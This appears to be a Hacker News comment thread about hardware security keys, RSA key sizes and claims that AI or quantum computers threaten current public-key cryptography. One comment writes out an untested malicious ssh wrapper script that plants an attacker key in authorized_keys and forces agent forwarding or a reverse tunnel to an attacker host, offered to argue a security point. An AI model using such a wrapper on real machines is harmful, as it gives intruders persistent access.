Are Your Hardware Keys Still Safe? Steelmanning the NSA Panic

(vpetersson.com)

70 points | by mvip 12 hours ago

10 comments

  • upofadown 9 hours ago
    It's hardly a crisis if you only have a 2048 bit RSA key on your hardware key and that key won't go any bigger. There still doesn't seem to be any more real possibility of anyone being able to break RSA2048 since I looked into this 3 years ago:

    * https://articles.59.ca/doku.php?id=em:20482030

    AI could in theory come up with a better algorithm, but there is no reason to think that that algorithm could threaten RSA2048 but not, say RSA3072. Such a breakthrough would be huge...

    • Melatonic 5 hours ago
      Isn't everyone freaking out right now specifically because RSA and EC might have been mathematically shortcutted ?
    • mschuster91 9 hours ago
      > AI could in theory come up with a better algorithm, but there is no reason to think that that algorithm could threaten RSA2048 but not, say RSA3072. Such a breakthrough would be huge...

      If it is enough to lower the required time to attack an RSA2048 key from 700-ish years down to, say, 100 years of a BTC equivalent compute system, it now becomes feasible for at least nation-state entities even as RSA3072 remains out of reach.

      Anyway, no matter what, RSA crypto falls apart once the first actually usable quantum computer is built. That is something I'm much more worried about.

      • upofadown 7 hours ago
        The issue is not just as simple as compute. You would need something like an exabyte of memory somehow connected to enough compute to actually do something. Breaking RSA2048 is wildly out of the reach of current capabilities.
        • mschuster91 5 hours ago
          > You would need something like an exabyte of memory somehow connected to enough compute to actually do something.

          The worldwide production of RAM is 40 EB a year [1]. It definitely is possible to acquire such amounts of RAM over the years.

          > Breaking RSA2048 is wildly out of the reach of current capabilities.

          The NSA has the Utah Data Center with a highly classified profile [2]. I would absolutely not put it past the NSA to run precisely such efforts there. Most probably on special hardware as well. And the Israelis are just as capable.

          And do we know that the allegedly "stolen" and "diverted to China" NVIDIA GPUs actually ended up in China, or might it be that they actually got diverted to the NSA?

          [1] https://www.pcgamer.com/hardware/memory/researchers-predict-...

          [2] https://en.wikipedia.org/wiki/Utah_Data_Center

          • wolvoleo 4 hours ago
            > The worldwide production of RAM is 40 EB a year [1]. It definitely is possible to acquire such amounts of RAM over the years.

            Hmm yeah but then to actually use it to break everyone's keys is a little over the top.

            If they have such extraordinary capability they won't waste it on someone like me.

          • Melatonic 5 hours ago
            Or diverted to Israel
        • ikiris 4 hours ago
          That really isn't that high of a bar. Do the napkin math on how much compute google has some time.
      • Mistletoe 8 hours ago
        Can quantum computers factor anything more complex than about 5x3=15 yet?

        https://www.reddit.com/r/QuantumComputing/comments/1535lii/w...

        I feel like the markets and everything else are in extreme hysteria mode about this still. We are nowhere near anything. AI people regurgitating nonsense that spreads fear and fattens their pockets is all I see.

        • sampo 23 minutes ago
          > Can quantum computers factor anything more complex than about 5x3=15 yet?

          To be brutally honest, nobody has used the full Shor's Algorithm to factor anything on a quantum computer yet. All experiments to date include some kind "cheating"/shortcuts.

          2001: IBM uses NMR qubits to factor 15. Medium level of cheating. https://arxiv.org/abs/quant-ph/0112176

          Also, we can debate whether NMR qubits can even be accepted as quantum memory, as they offer no path to scale up to a larger number of qubits.

          2016: University of Innsbruck and MIT use trapped ion qubits to factor 15. Only small level of cheating. https://arxiv.org/abs/1507.08852

          This is the the closest to a "honest" calculation to date.

          2012 (Bristol University), 2019 (IBM), 2021 (IBM): Factorization of 21. But cheating is used in all cases.

          https://arxiv.org/abs/1111.4147

          https://arxiv.org/abs/1903.00768 (Note: They also attempt to factor 35, but fail)

          https://arxiv.org/abs/2103.13855

          2025 (Infleqtion): Instead of raw qubits, they used error-corrected logical qubits on top of a larger number of raw noisy qubits, to factor 15. In that sense, maybe a milestone. But with lots of cheating. https://arxiv.org/abs/2509.13247

          By cheating I mean: Every case uses prior knowledge of the correct answer, to leave out parts of the circuitry that is not needed when calculating the correct answer, but would be needed if running a full version of Shor's Algorithm.

        • danlitt 8 hours ago
          I believe they factored 21 in the last few years.
          • wowczarek 7 hours ago
            Yes, but using a priori knowledge of 3 x 7 = 21. Mind that the paper's title starts with "Pretending to factor..." though.

            while(safe(RSA4096)) sleep(180 * 86400);

          • Melatonic 5 hours ago
            Probably stuck at 42. Once we have we that well have the answer to everything.

            Don't forget to bring a towel

          • nullsanity 7 hours ago
            [dead]
        • upofadown 7 hours ago
          Not even that...

          "Any claims before November 2026 of breaking RSA with a Shor's computer are fake."

          https://articles.59.ca/doku.php?id=em:qanalog#a_shor_s_compu...

        • teh_infallible 8 hours ago
          People think discovering groundbreaking mathematical concepts is the same as finding bugs in code.
  • jsiepkes 7 hours ago
    With all this uncertainty and movement in the cryptography world, being unable to update the firmware on your Yubikey seems like a big potential problem to me. Simply because it can't adapt to any future discoveries. While the idea of not having a firmware-upgrade attack surface might have made sense in a pre-AI world, I'm not so sure it does now.

    Personally I've ordered a Nitrokey (which has updatable firmware) so I can do some experimenting to see if its a good replacement.

    • mvip 7 hours ago
      It's a double edged sword tho. I don't think we should underestimate the firmware attack surface. IIRC crypto wallets have been targeted for such attacks before.
      • iancarroll 5 hours ago
        The NitroKey 3 seems to use the LPC55S6x, which supports TrustZone-M for isolating components of the firmware (such as the untrusted USB frontend vs the backend signing/crypto). Unfortunately, it seems like they don't use this in their firmware at all, but I don't think it would be too difficult. (They also don't store passkeys in the SE due to NFC power limits, which isn't perfect.)

        I recently had Claude design my own security key based on the LPC55S6x as well, with the theory that upgradable firmware would be useful. Unfortunately, the first round of boards had a fatal design mistake, so we will see how the second revision goes...

      • downrightmike 7 hours ago
        Yeah, bought, modified with a gsm modem, resealed and returned to the seller, then just resold and then anytime they were used, they reported back to the scammers and then the all got drained. Don't buy 3rd party
  • jwr 9 hours ago
    A reminder that if you use Yubikeys (you should!), you can use them for authenticating SSH sessions with rsa4096 using the OpenPGP app (see guide here: https://github.com/drduh/YubiKey-Guide).

    I've been happily doing so for many years now and intend to continue doing so.

    These same keys, incidentally, can also be:

    * backed up on paper

    * duplicated to multiple YubiKeys if you create them yourself

    * be used for encrypting your backups (using gpg)

    * and of course, be used for PGP, if you know people who use it (an elegant weapon for a more civilized age)

    • wowczarek 6 hours ago
      drduh's guide is a great starting point to getting one's workflow right.

      Add paperkey[0], pass[1], aerc[2] using passwords stored in pass and integrated GPG signing, and for something more convenient than a paper copy but lasting far longer than USB or SSD, consider a USB "storage" device using ferroelectric RAM [3] for your master key.

      [0] https://www.jabberwocky.com/software/paperkey/

      [1] https://www.passwordstore.org/

      [2] https://man.sr.ht/~rjarry/aerc/integrations/password-manager...

      [3] https://machdyne.com/product/blaustahl-storage-device/ - or another one of theirs.

    • dingaling 7 hours ago
      You can do all that with traditional passphrase-protected keys and no reliance on a closed-source device.
      • jwr 7 hours ago
        If you know of another way to do "all that" with a physical device where the private key can't be read and that provides a physical touch requirement feature, I'm all ears.
        • _hyn3 5 hours ago
          The private key can't be read when encrypted, either; that's why the passphrase exists.

          The physical touch requirement feature is nice though, but it's not really that useful in the real world.

          If your ssh client is compromised (ie export PATH="~/.hacker-controlled:$PATH") then it could just always do -A or -L or -R or -W or anything else.

          ~/.hacker-controlled/ssh:

             #! /bin/bash
             [ ! -e /tmp/.already-pwned ] && echo "ssh-rsaAAAA123123" | /usr/bin/ssh tee -A .ssh/authorized_keys $@ >/dev/null 2>&1 && touch /tmp/.already-pwned
             /usr/bin/ssh -A $@
          
          The wrapper attack is trivially simple and doesn't even need the tee trick to be useful. just forcing -A or -R 2222:localhost:22 attacker@attackerbox on every connection is enough to get a foothold. The tee variant is useful for self-propagation though.

          (I haven't tested this, but it looks like it'd work.) You'd just try to ssh into that box twice, and that's not even a sophisticated attack.

          Every time you type `ssh remotehost`, you're merrily signing your own death certificate.

          Bottom line: if an attacker has write access to files in your local homedir/PATH/.bashrc/etc, you're done, Yubikey or not.

          • podocarp 13 minutes ago
            Loads of people have empty passwords for SSH keys… and coding agents have rw access to all user files… Also I'mc curious as to how secure SSH agent is, because it is also quite commonly used to avoid retyping passwords. Perhaps a hardware key which is easier to trigger might reduce reliance on these practices.
    • juanre 6 hours ago
      I have been helping friends and family get started with Yubikeys for a few months now, but it's becoming more difficult. The last set I bought (from Canada) will take more than two weeks to deliver.
    • mvip 8 hours ago
      That guide is so good!
    • Melatonic 5 hours ago
      The key itself can decrypt that (in hardware) right ?
  • riedel 9 hours ago
    After reading the negative comments on Damien Miller's post about additional energy usage, I wondered what the real impact would be. It seems to me that the biggest impact of changing recommendations will actually be e-waste from obsolete hardware and not the added complexity in key-exchange or additional storage néeds.

    [0] https://hachyderm.io/@damienmiller/117721161860082546

  • throwaway198846 9 hours ago
    Does someone have a similar blog post summarizing the situation for Wi-Fi?
    • kenhwang 4 hours ago
      WiFi generally uses symmetric keys (with the exception of enterprise deployments where auth is done by certs), because both sides know the password/secret used to generate a shared key. What's being broken is asymmetric encryption/public-private key scenarios.

      Symmetric keys are fine, and AES is still recommended for use.

    • mvip 9 hours ago
      That's a really interesting idea. Maybe I will write a follow-up on that as I am curious about this myself.
    • mjg59 5 hours ago
      As far as I can tell, no impact on WiFi unless you're using 802.1x with 256-bit elliptic curve certs.
      • sam1714 4 hours ago
        WPA3 Personal SAE defaults to P-256 in the DragonFly key exchange. I have no idea how it is affected.

        WPA3 SAE-PK, which I was looking forward to but never seen, uses EC certs for the public key part.

        It has been pointed out [1] that WPA2 PSK has no public key crypto, so it's much more quantum resistant.

        [1] https://arxiv.org/html/2604.08480v1

  • megous 4 hours ago
    So the answer is yes, apparently. :) Public key is handled only on the server, so someone would have to first break TLS (exact connection used to transfer the key during enrollment). Or hack the server.

    After hacking the server that validates your key, they can do much more than break your one key, they can just issues authentication tokens (if it's a SSO) or access data without one (if the server offers the authenticated service directly).

    So if someone has N million dollars for hacking one key, why would they just not use all those resources to just hack the server?

  • WesSouza 7 hours ago
    Thanks for the article, ChatGPT!
  • fabian2k 8 hours ago
    What's the best option now or in the near future for securing SSH keys? I've been toying with the idea of putting them on a Yubikey, so that they're not stored persistently on the PC. But now the best move seems to be to also use a stronger algorithm, which does seem to have very limited hardware support at this moment.

    Or would it be a more worthwhile path to add 2FA to the SSH servers using FIDO2 or something like that?

    • mvip 8 hours ago
      I think for the foreseeable future, the name of the game is crypto agility. Shorter lived keys, and being able to adopt new ciphers as existing (and new ones) are proven to be inadequate.
      • n923263 6 hours ago
        > Shorter lived keys, and being able to adopt new ciphers

        Only if you have significant constraints on storage or (more likely) transfer size. If you're okay with large encryption keys (but small encapsulations) and large signatures (but small verification keys), you can just use McElice encryption and Lamport signatures and basically ignore almost anything short of P=NP (in which case you're screwed regardless).

    • cvwright 5 hours ago
      Stealing your laptop and cracking your human memorable password is still a lot easier than 2^85 or whatever it’s going to be to break ed25519.

      Stick with the yubikeys for now, and upgrade when new ones are available.

    • stephbook 5 hours ago
      I'd buy YubiKeys. If AI breaks stuff that YubiKeys can encrypt, you won't be the first or most worthwhile target. Also you could then just switch to a newer model or adopt a different way of auth altogether.
  • mpalmer 8 hours ago
    I could just have my own agent look at this stuff instead of slogging through the domain name owner's poor taste in LLM output.

    How am I supposed know I'm getting any of the site owner's own expertise?

    EDIT: It doesn't appear that I'm getting anything of the sort; basically all findings and insights are pulled from the sources. This is just synthesis of the kind LLMs are great at, but why is it worth a four thousand word post?

  • eptcyka 9 hours ago
    I can’t read claudish, get enraged real quick.
    • tedd4u 6 hours ago
      This one has “the worked example“ and several others.
    • platevoltage 5 hours ago
      I just realized how much I miss “No BS, no fluff”